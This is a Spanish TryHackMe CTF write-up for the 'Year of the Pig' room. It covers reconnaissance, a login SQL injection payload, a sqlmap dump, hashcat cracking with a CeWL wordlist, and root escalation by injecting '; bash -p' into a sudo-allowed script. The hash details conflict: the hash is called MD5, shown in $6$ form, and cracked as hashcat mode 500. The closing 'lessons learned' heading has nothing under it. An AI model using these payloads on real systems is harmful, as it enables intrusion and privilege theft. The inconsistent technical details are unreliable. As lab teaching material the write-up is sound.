TryHackMe Hard Linux SQLi Custom Wordlist sudo

Year of the Pig

SQLi en panel de login para obtener credenciales. Wordlist personalizada con CeWL y reglas de Hashcat para crackear la contraseña. Escalada con sudo y script bash.

Jun 2023 ~90 min cat4clysm
Herramientas utilizadas
nmap burp suite cewl hashcat sqlmap ssh

Reconocimiento

root@kali:~$
nmap -sC -sV -p 22,80 10.10.79.197
22/tcp open  ssh     OpenSSH 7.6p1
80/tcp open  http    Apache httpd 2.4.29

El sitio tiene una página sobre cerdos con información personal del administrador — usamos CeWL para generar una wordlist basada en el contenido:

root@kali:~$
cewl http://10.10.79.197 -d 2 -m 5 -w cewl-wordlist.txt

SQL Injection en Login

El panel de login en /login.php es vulnerable a SQLi en el campo usuario:

username=admin'-- -&password=anything

Extraemos el hash MD5 de la contraseña con SQLmap:

root@kali:~$
sqlmap -r sqli1 -p username --dump --level=3
marco:$6$hash_md5...

Cracking con wordlist personalizada

Aplicamos reglas de Hashcat a la wordlist de CeWL para generar variantes (mayúsculas, números al final, símbolos):

root@kali:~$
hashcat -m 500 hash.txt cewl-wordlist.txt -r /usr/share/hashcat/rules/best64.rule
$6$hash...:Truffle99!
root@kali:~$
ssh [email protected]
# Password: Truffle99!
whoami
marco

Escalada de privilegios

Sudo permite ejecutar un script de administración:

sudo -l
(root) NOPASSWD: /usr/bin/bash /opt/admin-panel/admin.sh *

El script acepta argumentos sin sanitizar — inyectamos comandos:

sudo /usr/bin/bash /opt/admin-panel/admin.sh "; bash -p"

whoami
root

Lecciones aprendidas